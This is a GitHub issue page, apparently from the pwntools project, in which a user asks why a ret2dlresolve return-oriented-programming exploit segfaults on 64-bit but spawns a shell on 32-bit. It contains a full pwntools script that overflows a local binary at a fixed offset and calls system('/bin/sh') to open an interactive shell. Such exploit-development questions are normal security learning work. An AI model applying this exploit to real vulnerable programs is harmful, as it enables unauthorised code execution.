-
Notifications
You must be signed in to change notification settings - Fork 1.8k
Closed as not planned
Labels
questionropReturn Oriented Programming manipulation routinesReturn Oriented Programming manipulation routines
Description
get segfault for 64 bit, the 64+context.bytes are 72, and this seems to be the correct offset for the 64bit example.
on 32 bit
p.send(fit({76: rop.chain(), 200: dlresolve.payload}))getting still a shell
from pwn import *
context.binary = elf = ELF('./main')
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
print(64+context.bytes)
p = elf.process()
p.sendline(fit({64+context.bytes:rop.chain(), 200:dlresolve.payload}))
p.interactive()Metadata
Metadata
Assignees
Labels
questionropReturn Oriented Programming manipulation routinesReturn Oriented Programming manipulation routines